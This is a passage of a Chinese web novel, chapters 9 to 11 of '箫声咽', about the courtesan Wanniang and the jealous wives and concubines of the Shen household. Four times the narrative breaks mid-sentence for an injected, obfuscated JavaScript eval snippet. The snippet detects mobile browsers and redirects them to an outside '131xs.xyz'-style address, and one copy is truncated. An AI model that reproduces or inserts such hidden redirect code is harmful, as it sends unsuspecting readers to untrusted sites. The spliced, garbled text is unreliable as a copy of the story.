……说过不去，也算不上。他毕竟没有过分刁难她。 只是，晚娘隐隐约约，还是觉得有些别扭。 一连几天，都在这宅子待得无聊。沈四海只第一夜来过，后边就不常来过夜，就算看她，也要匆匆走。 晚娘觉得不对劲，又说不出哪儿不对劲。 还没来得及等她深思，素儿的反常举动就引起她注意。她常常看见素儿黄昏时候出门去，有一次忍不住叫住她问，素儿支支吾吾说是出去采买东西。 信这鬼话才怪。 这宅子才多大？有多少东西要采买？ 晚娘瞧着素儿鬼鬼祟祟背影，淡笑一声，心道这小丫头莫不是有情郎了，这才每每急着出去相会？ 但她懒得理。 她两片薄嘴唇总是涂得亮汪汪，娇红欲滴。每到瞧着素儿出门的时候，只轻轻一弯。 自己顾自己都来不及，哪里管得着旁人呢？ …… 是夜，沈四海来了。 灯烛高亮，伸手可碰的昏黄覆了满室。沈四海瘫倒在榻上，晚娘给他捏肩。 沈四海面有愁容，好像遇见烦心事。晚娘瞧来瞧去，顺嘴问了一句：“你怎么了？脸拉这么长。” 她伸出指头，戳了戳沈四海背上厚肉，很不满意，“我说你怎么回事？不常来看我就算了，每次来，就跟我欠了你十锭银子似的！你若是不想见我，走好了。” 沈四海哎哟两声，握住晚娘指头，“我哪儿能不愿见你？我要是厌烦了你，何必花大价钱给你赎身呢？……我只是……唉，一言难尽。” 晚娘扑哧一笑，支着下巴问：“和我说说？哪个又让你不顺心？” 沈四海掰开了揉碎了，翻来覆去和她说了一通，晚娘终于听明白了。 原来沈四海家里有四房妾，二姨娘也生了儿子，与沈容远相差不过几月。 眼下沈容远有出息，二姨娘不服气，非逼着沈四海给二儿子也谋个好差事，最好不必沈容远差。 沈四海一听就头大。他不过是个空有富贵闲职之人，哪里来的这么大本事？ 沈容远能走到今天这个位置，全凭他自己争气。偏偏沈家二爷和兄长相反，别说指望他争气，就是让他安心待在家里念书都难。 沈四海没办法，二姨娘思来想去，就撺掇着沈四海花大价钱，给儿子买个官职。 当即，沈四海就吓得不轻。 当今圣上最痛恨买官鬻爵之事，亏这个女人想得出来！ 沈四海没声张，暗自将二姨娘骂了一通。本来此事就这么罢休，谁料风声不知怎么传到沈夫人耳朵里。这下，可不得了了。 沈夫人当即就要拿家法惩治二姨娘，沈四海想拦，可沈夫人振振有词，“老爷要是包庇她，等她哪日果真做出抄家灭族之事，后悔也晚了！” 没办法，二姨娘被打了三十个板子，现在还趴在床上下不来。 …… 家里鸡飞狗跳，沈四海怎么能不面露愁容呢？ 因此，今夜才想起到晚娘这里来。 晚娘听了，笑得不轻。 这沈家，还真是好戏一出接着一出。她眉眼弯弯，趴在床上，小腿勾起交叉，身姿窈窕，曲腰如流水勾人。 她指尖撩了碎发到耳后，对沈四海笑道：“诶，我说老爷，你一个大男人，怎么在后宅片刻不得闲？不是这个找你，就是那个骂你。我看不像她们伺候你，倒像你伺候几个女人！” 沈四海有些恼，狠狠瞪了她一眼：“你懂什么？……三个女人一台戏，是非多了去了！等你进门，还不是一样。” 晚娘眼睛一下子偷偷亮起来。 沈四海后半句说了什么，她没听清。只是一下直起身，勾住沈四海脖子，试探问：“你果真，要迎我进门么？” 温热呼吸拂在耳畔，沈四海心中一热，假意也变成真言。他故作严肃：“我乃沈家之主，我要谁进门，还有人能拦我？……你放心，等个时机罢了。” 晚娘心顿时快跳起来。尽管这只是一句轻飘飘许诺，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268952|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着怎这样舒心？她盼这个承诺，盼了太久。 在青楼的时候，晚娘一心想出去。等到真正出去了，又觉得心里空落落。给人这样没名没分做外室，终归不是长久之计。 若她能进沈家的门…… 那便不一样了。 晚娘兴奋中，恍然出了神。那片神思之外，世间已过千年。千年啊，沧海桑田，足够让她囫囵变了个人。 沈老爷看她出神愣怔模样，乖巧如瓷人，瞬间起了色心，一把揽过晚娘，“莫急，莫急……日子还长着。” 晚娘在他怀中闭上眼。沈老爷压倒在她身上。 …… 不知何时，晚娘眼角又沁出一滴泪。只一滴，落下去，落在层叠罗衫中，就再找不到了。 次日，枯叶飘落，沈家下人一早起来，持帚打着哈欠收拾地上堆堆黄叶。 沈夫人坐在镜前，由丫鬟为她梳头。她手指已经有细细皱纹，按在鬓发间珠光宝气上，有些不相衬。 身边一个纤瘦影子，正和她说着什么。 沈夫人听完，哼笑一声。她不大满意头上簪子样式，拔下来，示意丫鬟再选一支。做完这一切，她才悠悠然问：“她果真这么说？” 站在她身边的，正是晚娘的侍女素儿。素儿应了句：“是，我亲耳听见的。她叫老爷莫管夫人姨娘之间的事。她还说……” 素儿抬眼，小心翼翼窥了眼沈夫人神色，“她还说，要进宅子里来呢！” 沈夫人笑起来，却令周遭下人都觉得怕。她一笑，牵动眼角皱纹。看着镜中日渐衰老的自己，沈夫人嗤一声，开口，“啊哟，好大个不得了的人物，还真能图谋……我就说，能把老爷勾得那样死的女人，怎么会只甘心做个外室？这才几天？狐狸尾巴就藏不住了？” 素儿也跟着哼一声，“夫人说的是。我看呀，她就是心比天高，命如纸薄！” 她说完，屋里反倒寂静下去。 没人接她的话，沈夫人看回镜中，自顾自描眉。素儿尴尬之余，又觉得惊怕——怕自己说错了话。 沈夫人身边的妈妈从怀中掏出银两，冷冰冰塞到素儿掌心中，“行了，没你的事了，下去吧。若那边有什么动向，再传来。” 素儿拿了银子，欸了一声，怯怯走了。 妈妈眼瞧着她走远，才回到沈夫人身边，低声道：“夫人可得想个法子，别真让咱们家进个妓子进来！” 沈夫人眉毛一立，嘲弄道：“做梦！老爷纵使昏了头，我也不能对不起祖宗！” 她想了想，拉住妈妈手，吩咐道：“等大公子回来，叫他来见我，听见没？我有话吩咐他。我就不信，这个家里，还有谁敢拂了我儿子的脸面！就算是老爷，也不能为了别的人打压他最有出息的儿子！” 妈妈欸了一声，半晌又犹豫问：“……女人家的事，让大公子沾染进来，是不是不大好。” 沈夫人不屑，觉得她目光短浅：“……女人家的事，是不该让爷们扯进来。可你看，他那父亲是个没主见的，旁人三言两语，还就能和我儿争上一争了，是什么道理？……我总得叫他防着，不让他父亲又搞个小孽种出来……” 9. 箫声咽（九） 时值正午，城东徐氏别苑内，丝竹隐隐。 积雪渐霁，四周梅花本还没开，却能隐约闻见梅香。来往宾客皆着大氅，徐公歪靠在软榻上，手中捧着个汝窑瓷盏，宝贝似的朝周围众人一展： “这是当年，先帝念我父之功，特意赏的……我父弥留之际，还叫我好生爱惜，留作传世。”他语调得意，周围人也纷纷附和称赞。 徐公眼一瞥，看向坐在左边下首的沈容远，笑呵呵道：“怀安，你可是稀客。平日哪家诗会雅集，你也是不常去的。今日来我这里，也是我们有幸啊。” 这话半是抬举，半是玩笑，可也实在说得没错——沈容远一向是不大喜欢饮宴作乐的。 沈容远笑了笑：“徐公谬赞，怎敢当？平日实在是事务繁杂压身，不得空罢了。” 他态度谦恭，徐公很是欢心。 席间有人起哄附和：“听闻沈大人诗才颇高，今日有徐公美酒在侧，不知沈大人可否趁兴作诗一首，也好让我等开开眼界。” 赞和声此起彼伏。沈容远推辞不得，无奈一笑，提笔写诗。 方落笔，便有人上前高声念诵，满堂喝彩。 沈容远立于其中，听着他们称赞自己风骨铮铮，面上笑着，心里却不大笑得出来。徐公连连点头，满面赞许：“好诗，好诗。怀安才情，不在诗仙陆郎之下！” 沈容远莞尔一笑，归座。他环视一圈，问徐公：“听闻今日徐公请了裴明玙裴大人，不知在何处？可否为我等引荐一二？” 徐公笑起来，隔空指头点了点他： “怀安消息果真灵通！裴大人方入京，你便知道了——裴大人，今日在场诸位皆是同僚，互相点个头，日后也好见面了！” 他话音落，席间缓缓站起一个身影。 此乃个玉树临风、温文尔雅的男子，身着时下最常见的儒袍，一瞧便是文官打扮——正是近日方升任京官的裴明玙。 裴明玙向四座都点头，又朝着沈容远拱手一礼：“久闻沈大人盛名，今日一见，果真是不同寻常的人物。” 按理说，官场相见，都是互相客套、虚与委蛇。但今日出乎意料，沈容远安坐席间，竟心安理得受下这一礼，连点头还礼都没有。 沈容远平日最重礼数，此番作为，四周众人都觉得有些奇怪。裴明玙毫不在意，笑容反而更加洋溢： “怀安兄受下我这一礼，日后官场，可要多多提携才是。” 沈容远唇角溢笑：“自然。” 四周懂门道的人，瞧这情形，也就心下明了了。 沈容远今日故意当众提起裴明玙，只怕就是要给这新晋京官一个下马威！ 追溯起来，裴明玙的老师王惠恩所在王家，和沈容远恩师肖家，是多年世仇。沈容远今日不给裴明玙好脸色，便是替师寻仇来了。 …… 午日高悬，沈容远瞧着再不走，多半落得被灌醉昏睡上一天的下场。于是借口不胜酒力，施然离去。 裴明玙后脚跟了出来。 他叫住沈容远，深深一作揖：“沈兄，初次见面，我瞧出沈兄不甚喜我。你我老师之间固有恩怨，可我身在官场，亦是万事不由己。还望沈兄日后不要为难。” 他姿态倒是极低。 沈容远扯了扯唇，问：“你看着，我像是那般小肚鸡肠之人？” 裴明玙不再言语。 话及此处，不必多说其它。裴明玙目送沈容远上车，站在原地许久。 他入京之前，的确就几次三番听说过沈容远名字。 地方上，都说京城沈大人年轻有为，实乃人才……这些裴明玙都不在意，他在意的是：每当老师提起沈容远，脸上总会流露出格外古怪的神情，像是欣赏，又像是厌憎…… 站在徐府门口，裴明玙想得有些多。直到身后有人叫他：“裴大人，天冷着，站外头做什么？进来罢！” …… 裴明玙深吸一口气，脸上重新挂上不由心的微笑，转身迈进门槛。 —— 近日京中不太平，这是人人都知道的事。 陛下身子一日日看着不好，朝中为了立嗣，吵翻了天。 可吵也无用，无论群臣使出何等手段，皇帝就是铁了心不发话。一群人干着急，每日摇头叹惋，内阁商议了一番又一番，也拿不定个主意。 沈容远归家的时辰，越来越晚了…… 沈四海的日子，倒是挺痛快。 一夜之间，沈夫人跟变了个人似的，再也不纠缠着他吵闹，反倒温顺起来，嘘寒问暖，无微不至。 沈四海虽觉得有些惊悚，但也莫名心安。 这就好嘛！只要后宅的女人不闹，他便有更多的功夫和机会溜出去找晚娘。 这几日，他夜夜都往那宅子里跑。沈夫人心里门清，却装聋作哑，也不管他。倒是二姨娘伙同四姨娘，竖直了耳朵，恨不得将沈四海的行踪全数捏在手里。 沈四海不傻。 他常年拈花惹草，身边的下人都知道什么能说、什么不能说。 每每几房姨娘的人问起，下人们的嘴巴都如铁桶，撬也撬不开。 沈四海坐在晚娘身边，鼻腔里嗅着晚娘头上桂花头油的香气，舒心至极。他一只胳膊揽着晚娘，同她故弄玄虚说起近日京中诸事。 他本就是个半桶水，什么事一知半解就往外倒。可晚娘也听不大明白，正好遂了沈四海装模作样的愿。 只是很快，晚娘听沈四海提起了沈容远。 沈四海是这样说的：“我那个大儿子啊，一心就知道做事，不懂人情世故。我说过他多次，他就是不听……哎，可怜天下父母心呐！” 晚娘又想翻白眼了。 她抬眼，不屑地瞧了瞧沈四海，心道：你儿子可比你有出息多了。你这般货色能生出这样的儿子，偷着乐吧。 沈四海说得口干舌燥，就急匆匆让素儿倒茶。 喊素儿的时候，素儿正在外面。闻言她一惊，险些摔跤。 看着素儿这鬼鬼祟祟的样子，晚娘就来气。这小蹄子当真是打量着世人都是傻的？难道她就看不出素儿在偷听？ 腾地一下，晚娘起身，指着素儿的鼻子骂： “吃里扒外的东西！我和老爷说话，你在外边听什么？” 素儿惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268953|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌失措，连忙辩解：“夫人误会！我……我没有。” 晚娘见她还敢狡辩，气不打一处来，当即就要上前赏她巴掌。沈四海一把攥住她的手腕，将她拉回自己身边，安抚道：“哎哟，跟一个丫头生什么气……她爱听，让她听好了。咱们又没做什么见不得人的事。” 晚娘不情不愿地坐下，哼道：“老爷这样心慈手软，是怎么管好家业的！我看呀，若不是有你夫人帮衬，你也不成器！” 沈四海不乐意听她说这种话，沉下了脸。 晚娘见好就收，扑哧一笑，捏了捏他的脸颊：“……我开个玩笑罢了。我也是见识短浅的女子，老爷不要同我计较。” 沈老爷果然不气了，瞪了她一眼，无奈叹道：“你呀你呀！” …… 兜来绕去几番，晚娘又忍不住问： “你打算，什么时候接我入府呀？” 沈四海正喝茶，闻言一噎，半晌才有些心虚地问：“怎么又问起这个来？不是同你说了，时机未到……” “那时机什么时候才到？”晚娘撇嘴不满，“每次问你，你都拿这些话敷衍我……你又不是不知道我着急的……” 沈老爷向来抵挡不住她这副模样。 他深思了一会儿，也逐渐觉得，放任晚娘在外面，终究不是个事。 打心眼里，他是有些喜欢晚娘的。于是他道：“害，这有何难？再过几日，便是我寿辰，那一日府上设宴，你也去。去了就给夫人敬杯茶，当着满堂宾客的面，她也不好拂我面子。” 晚娘细细想了想，觉得是个好办法，当即喜笑颜开。 她凑近沈四海，轻啄了下他的脸庞，又柔声道：“如此，便多谢老爷了。” …… 沈宅。 灯一盏一盏亮起来，四姨娘脚步风风火火，往二姨娘的院子里闯。 一进屋子，她打眼一瞧，见二姨娘正在绣花，忙急冲冲上去拉住她的手：“二姐！你还有心思绣花呐？……今日我的人跟着老爷出去，打探到那小贱人被藏在何处了！” 二姨娘笑了一声，抬眼不疾不徐道：“你这么着急干什么？就算今日打听到了，我们总不能这就过去捉她吧？……别急，坐下慢慢说。” 四姨娘无法，只得依言坐下。 一坐下，她就接着滔滔不绝，将来龙去脉都讲了出来。 今日打听到沈四海要出门，她特意派了小厮小心跟着马车。马车绕来绕去，绕到一个巷子里。 小厮藏在墙后边，亲眼见一个丫鬟出来迎接，那丫鬟竟是大夫人从前院里的素儿！四姨娘断定，近日和沈老爷厮混的那个女人，就藏在这宅子里。 …… 二姨娘听了，放下绣花针。 她迟疑问：“可看清楚了？那女人身边跟着的，真是素儿？” “一清二楚！”四姨娘道：“我身边的小厮亲眼瞧着，素儿把老爷引进去，动作很是熟稔！” …… 二姨娘轻笑一声，笑里有恨。 她叹息着，轻声开口： “咱们这大夫人啊，还真是什么事都比人早一步呢……” 10. 箫声咽（十） 四姨娘听了，当即就坐不住了。 她一把将二姨娘手中的绣绷子夺过来，扔在桌上：“我的好姐姐，你还真坐得住！” 二姨娘瞥了她一眼，慢悠悠道：“不然呢？老爷护着，夫人盯着，咱们还能做什么？” “怎么就不能做了？”四姨娘在屋里来回踱步，“那素儿是夫人的人，如今却在那贱人身边伺候，这说明什么？说明夫人早就知道了！她不出手，是在等什么！” 二姨娘不语。 四姨娘见她这副不紧不慢的样子，更是火大：“二姐！你别装糊涂！咱们要是不去给她个下马威，等她真进了门，咱们可就没好日子过了！” 她凑到二姨娘跟前，压低了声音：“你想想，她是什么出身？青楼里出来的，那勾引男人的手段能少了？到时候老爷魂都被她勾走了，哪里还有咱们的立足之地？” “再说了，咱们这是去替夫人分忧，替沈家清理门户！她一个风尘女子，也配踏进咱们沈家的门槛？传出去，老爷和两位公子的脸面往哪儿搁？” 二姨娘垂着眼，并不言语。 四姨娘见她还是犹豫，一咬牙，又道：“就算你不为自己想，也得为二公子想想吧？大公子如今圣眷在身，风光无限。那贱人要是再给老爷生个一儿半女，咱们二公子将来可怎么办？” 这话，算是戳中了二姨娘的软肋。 她终于抬起眼，眸中闪过冷光，却还是故作为难：“妹妹，不是我不想……只是这事儿，要是闹大了，老爷怪罪下来……” “怕什么！”四姨娘一拍桌子，“天塌下来，有我顶着！再说了，就算夫人知道了，也只会夸咱们做得好！” 二姨娘沉默了许久。 她看着四姨娘那张急切的脸庞，终是幽幽叹了口气。 “……也罢。既然妹妹话都说到这份上了，我便陪你走一遭。” 她顿了顿，又补充道：“省得你一个人，不知轻重，闹出更大的乱子。” 四姨娘大喜过望：“我就知道二姐最是明事理！” …… 送走了四姨娘，屋里又恢复了安静。 二姨娘看着她离去的背影，唇角缓缓勾起冷笑。 她对着身边的贴身丫鬟吩咐道：“去，把门关上。” 丫鬟应声去了。 二姨娘才轻声开口： “记着，明日若是夫人问起来……” 她捻起绣花针，对着灯火比了比，声音淡得像一阵风： “就说是四姨娘非拉着我去的，我百般劝阻，拦都拦不住。” —— 次日一早，天还阴沉着。 一辆不起眼的马车停在了那座宅院的巷口。 四姨娘率先下了车，二姨娘扶着丫鬟的手，缓缓跟在后头。 四姨娘上前，砰砰砰地砸门。 过了好一会儿，门才吱呀一声从里头拉开。 素儿探出头来，一见门外站着的两位姨娘，吓得脸色煞白： “二……二姨娘？四姨娘？” 她怎么也想不到，这两位会找到这里来。 四姨娘冷笑一声，一把将她推开：“滚开！你个吃里扒外的东西，还认得我们？” 素儿被推得一个趔趄，差点摔倒。她惊慌失措地看着两人闯进来，想拦又不敢拦：“姨娘……你们这是做什么……” 四姨娘理也不理，一边往里走，一边扯着嗓子骂开了： “我道是哪来的狐媚子，原来是躲在这种狗窝里！” “不要脸的娼妇！也不撒泡尿照照自己是什么货色，也敢肖想勾搭我们沈家的爷们！” “赶紧给我滚出来！” 骂声尖利，撕破了清晨的宁静。 里屋的门帘被一只纤纤玉手掀开。 晚娘穿着一身藕荷色衫裙，头发松松地挽着，一步一步，慢吞吞地走了出来。 她脸上未施粉黛，神情慵懒，像是没睡醒。她斜倚在门框上，打了个哈欠，才懒洋洋地抬起眼皮，看向院中那个撒泼的女人： “哟，是谁啊？一大早的，脾气这么大。” 四姨娘上下打量着晚娘，眼神轻蔑： “你这个不要脸的狐媚子，到了我们面前，还装什么？” 她双手叉腰，刻意拔高了音量：“你倒是睡得安稳！也不看看自己是个什么东西，霸占着我们沈家的院子，还真把自己当主子了？” 晚娘像是没听见那话里的刺，反而往前走了两步。 她停在四姨娘面前。四姨娘身形矮小，长着一张瓜子脸。晚娘个子比她高了半个头，就这么居高临下地看着她： “……你是沈家四姨娘？” 她轻轻一笑： “一大早火气这么大，想来是多日不曾见到老爷了？” “你……你个娼妇！你胡说八道什么！” 晚娘脸上的笑意更深了： “我怎么就胡说了？” “你我如今，不都是伺候一个男人的？” 她有些叹息地道：“你凭着清白家世进了门，是妾。” “我凭着这张脸，将来若是进了门，也是妾。说到底，咱们谁又比谁高贵呢？” “你放肆！” 四姨娘彻底被激怒了： “我再不济，也是正经人家抬进来的姨娘！你呢？你算个什么东西？不过是人人都能上的婊子！” 这话骂得极尽恶毒。 素儿在一旁听着，慌张地看向晚娘。她以为，以晚娘的脾气，一定不能忍，吓得脸色惨白。 晚娘却连眉毛都没动一下。 她只是静静地看着四姨娘。半晌，才幽幽开口： “是啊，我是婊子。那又如何？” 她往前凑了凑，几乎贴着四姨娘的耳朵，用只有她们两人能听见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268954|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音轻声说： “可老爷……就喜欢我这个婊子呢。就是不喜欢你。听说在沈家，老爷一年也去不了你院子几次吧。啧啧，如今看来，却是有迹可循。” “你！” 四姨娘浑身一颤。 她扬起手，一个巴掌就朝着晚娘的脸狠狠扇了过去： “我撕了你这张嘴！” 眼看那巴掌就要落下，晚娘没有去挡那巴掌，而是反手一把抓住了四姨娘的发髻！ “啊——！” 四姨娘发出凄厉惨叫，疼得五官都扭曲了。她想去抓晚娘，却被晚娘用力一扯，整个人都站不稳，狼狈地往前栽去： “你敢动我！” “放手！你这个贱人，快给我放手！” 跟着四姨娘来的丫鬟见主子吃亏，也顾不上害怕了，叫嚷着就冲了上来： “快放开我们姨娘！” 素儿见状，也不知哪来的胆子，猛地张开双臂拦在了丫鬟面前。她受夫人所托监视晚娘，也不能眼瞧着晚娘出事： “不许过去！” “滚开！” 那丫鬟一把将素儿推开，伸手就去抓晚娘的胳膊。 而从始至终，二姨娘都静静地站在院门口，冷眼看着眼前这场闹剧。如今，眼前是扭打在一处的女人，她心里甚至升起扭曲的愉悦。 眼看那丫鬟就要扑到晚娘身上，二姨娘终于动了。她急匆匆走上前，大喝一声： “够了！” 她先是拉住了那个发疯的丫鬟，斥了一句：“主子们的事，有你插嘴的份儿吗？” 那丫鬟被她一瞪，顿时缩了回去，不敢再造次。二姨娘这才转向晚娘，目光落在她紧抓着四姨娘头发的手上，轻轻叹了口气： “妹妹，松手吧。” “闹成这样，让旁人看了笑话。” 晚娘侧过头，目光从狼狈不堪的四姨娘面上缓缓移到了二姨娘那张温婉贤淑的脸上。 她看了她半晌，然后，手上力道一松。 四姨娘踉跄着退后两步，险些再次摔倒。 晚娘却没再看她。她只是对着二姨娘，似笑非笑道： “多谢姐姐解围。” 这声“姐姐”叫得又轻又软，带着几分说不清的意味。晚娘看得出来，比起四姨娘，这二姨娘才是城府深的呢。 二姨娘走上前，作势要去扶四姨娘，嘴里还念叨着：“四妹妹，你也是，有什么话不能好好说，怎么就动起手来了？她不懂规矩，你多担待些就是了。” “你！” 四姨娘本就一肚子火，听了这话顿时勃然大怒。 她一把挥开二姨娘伸来的手，厉声喝道：“你少在这假惺惺！方才你无动于衷，现在倒跑出来做好人了？天底下没有你这么做人的！” 二姨娘一愣，眼中登时涌上泪珠：“……你怎能这样想我？我不是这个意思……” 11. 箫声咽（十一） 二姨娘捂着胸口，泪水在眼眶里打转。 她踉跄退了半步，声音发颤，捂着胸口道：“四妹妹呀，你……你怎么能这么说我？我若真心想看你笑话，何必拦着？我只不过怕你失了分寸，回头在老爷夫人面前不好交代！” 这话听着婉转至极，可四姨娘不领她情。 她更是恼怒，指着二姨娘鼻子，指尖又转向晚娘，尖声道：“好啊！你们联起手来，合起伙来欺负我！我告诉你们，没门！” 四姨娘没料到今日会吃亏，这口气无论如何也咽不下去。 她有些委屈，矛头重新对着晚娘。 要不是这个女人，老爷会这么多日不曾来她院中吗？……从前晚娘不在老爷身边，她纵然不得宠爱，也不曾这样受冷落！ 她眼神怨毒，恶狠狠对晚娘骂道：“你这个贱货！你以为老爷真能让你进门？做梦！我告诉你，只要有我一日在沈家，你就永远别想踏进一步！我不依！” 晚娘脸上笑意收得干干净净。 她倒不把四姨娘话放心上——她算个什么？自己执意进沈家，沈夫人也不一定拦得住，何况这个女人？ 她不怒，也不恼，就那么冷冷地看着四姨娘。 等四姨娘骂得一口气喘不上来，，晚娘才淡淡开口。 “说完了？” 四姨娘一愣。 晚娘没再给她开口的机会，“素儿，送她们出去。” 素儿还有些发懵，但见晚娘神色不好看，也连忙上前，“四姨娘，您……您请回吧。……若是把事闹大了，咱们都不好回话的……” “我是沈家正经的主子！用得着和谁回话？”四姨娘不依不饶，“就凭你们，也敢赶我走？——你算个什么东西？一个下贱的娼妇，也敢赶我走？” “我不是在赶你。”晚娘扯了扯唇角，那意却冷得让人脊背发寒，“我是让你——滚。” 她上前一步，逼视四姨娘：“带着你的人，从我这里滚出去。再迟一步，别怪我拿剪子捅你脖子！” 四姨娘被她眼里狠厉镇住了。 她张了张嘴，还想再骂，可对上晚娘那黑沉沉的双眸，后面的话竟一句也说不出来。 她到底是色厉内荏。闹事可以，真要拼个鱼死网破，她没那个胆子。 “你……你给我等着！” 撂下一句狠话，四姨娘狠狠跺脚，拽着自己的丫鬟转身匆匆走。 院子里，二姨娘还站着。晚娘缓转过身，对着二姨娘娉娉婷婷一礼，皮笑肉不笑道：“叫姐姐看笑话，真是过意不去。” 二姨娘头上步摇缓摇晃，脸上的表情恰到好处地转为怜悯和担忧。她快步走上前，亲热地拉住晚娘的手，柔声细语安慰道：“妹妹，你受委屈了。四妹妹就是那个炮仗脾气，一点就着，你别往心里去。” 她的手温润柔软，说的话更是体贴入微。 晚娘心中冷笑，面上不显。同二姨娘客套几句，也将她送了出门。 …… 她实在是有些累。 方才两个女人，一个蠢，一个看热闹不嫌事大。都是不好相与的。 她细想了想。 若是要在沈家站稳脚跟，还是得把沈老爷抓在手中。 …… 沈府，正院。 四姨娘坐在小几上，眼泪跟断了线珠子似的往下掉，哭得上气不接下气。 “夫人……您可要为我做主啊！那个晚娘，那个小娼妇……她……她竟敢当着下人的面，那样欺辱我……她分明已经不把我们放在眼里了！” 她一边说，一边撩起袖子，露出手腕上一片红痕，哭诉道：“您瞧瞧，您瞧瞧！这还没进门呢，就敢这么嚣张！以后真让她进了府，这沈家还有我们姐妹的活路吗？” 二姨娘坐在她旁边，闻言装模作样劝解：“妹妹莫哭了，仔细哭坏了身子。” 沈夫人坐在上首，静静听着。 她正慢条斯理地用银签拨弄香炉里香灰，听着四姨娘的哭诉、二姨娘假惺惺劝慰，眼皮都未曾抬。 直到四姨娘哭声渐歇，她才低低哼笑，有些嘲讽意味。 实在是个蠢货。她心道，以为把状告到她这里，她就会给她们撑腰么？ 四姨娘听见这声哼，哭声戛然而止，有些惊惧地看向沈夫人。 “说完了？”沈夫人目光里没有半分同情，只有不耐厌烦，“为这点小事，也值得你跑到我这里来哭天抢地？” 四姨娘懵了，“夫人，我……” “你？”沈夫人冷哼一声，缓缓站起身，踱到她面前，“我只问你，谁让你去她院子里闹事的？” “我……我是……我是想去替夫人分忧……”四姨娘的声音越来越小。 “替我分忧？”沈夫人笑了笑，神色越发冰寒，“你也不掂量掂量自己是个什么东西！就凭你，也配替我分忧？” 这话说得极不客气，四姨娘一张脸顿时涨红，又惊又窘，“夫人！” “你动她，就是在打老爷的脸！”沈夫人一字一句，毫不留情：“那晚娘是老爷放在心尖上疼的人！你跑去撒泼，是嫌老爷还不够厌烦你？” 她凝视着四姨娘，眼神锐利如刀：“还是说，你觉得你比我这个当家主母还有分量，能替老爷决定这后院里谁当不当留？” 一旁的二姨娘听着这话，心头微动。她悄悄抬眼，瞥了眼神色俱厉的沈夫人，随即又低下头去，心中却是一声冷笑。 借刀杀人。 夫人这算盘，打得可真精。 她这是明着告诉她们，晚娘是老爷的人，谁也动不得。可话里话外，又何尝不是在挑唆？老四这个蠢货听不出来，可不代表别人也听不出来。 夫人这是要让她们这些做妾的去跟那个女人斗，斗个你死我活。而她自己，只需坐山获利。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268955|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >四姨娘彻底傻了眼，她从没见过夫人这般疾言厉色的模样。她本是来求个公道，却不想反被劈头盖脸训斥一顿。 她张了张嘴，委屈、难堪、愤怒，种种情绪涌上心头，最后却只化作一行泪。 “……是……是妾身不知好歹，给夫人添麻烦了。” 她再也待不下去，捂着脸，哭哭啼啼地跑了出去。 二姨娘见状，也福了福身子，柔声道：“夫人若是没有旁的事，那妾身也先告退了。她刚转过身，还没迈出步子，就听见沈夫人在背后幽幽开了口。 “我前几日用家法罚你，你可有怨恨？” 二姨娘的脚步顿住了。 她回过身，脸上挂着一抹恰到好处的温顺笑意。 “夫人说笑了，”她轻声道，“我哪里敢呢？” “不敢最好。”沈夫人重新坐回椅上。她已经不年轻，眼珠浑浊，看人的本事却很锐利，“老四蠢，你可不蠢。” 她目光沉沉，“什么事该做，什么事不该做，自己心里要有杆秤。别跟老四一样，落不得好。” 二姨娘心中一凛，暗骂这个老女人倒是瞧得清楚，面上却笑得愈发恭顺。 她福了福身：“是，妾身记下了。谢夫人教诲。” …… 送走了二姨娘，沈夫人懒懒起身，回里屋。 在丫头服侍下，她洗手，卸去钗环，往榻上歪歪一倒。忽笑一笑，问跟在自己身边多年的妈妈：“你说这一家人，游回磨转，没有一个好东西，是不是？” 妈妈不答，只是伸出手，为沈夫人按压头穴。 隔了半晌，她才轻叹，“不怪夫人瞧不起四姨娘，屠户家的女儿，少见多怪，咋咋呼呼。自己打自己脸。” 沈夫人起先觉得她说得对，沉思一会儿，又摇摇头：“她？我想把她当刀子使，都嫌钝。不过能给老爷添点堵，瞧着也有意思。” 妈妈别扭一笑，想起什么，停了动作。 “我瞧着，这几日老爷待夫人倒是不错……也不大吵闹了。其实，夫人不用和她们计较，都是做小的，哪儿能越过您呢？” 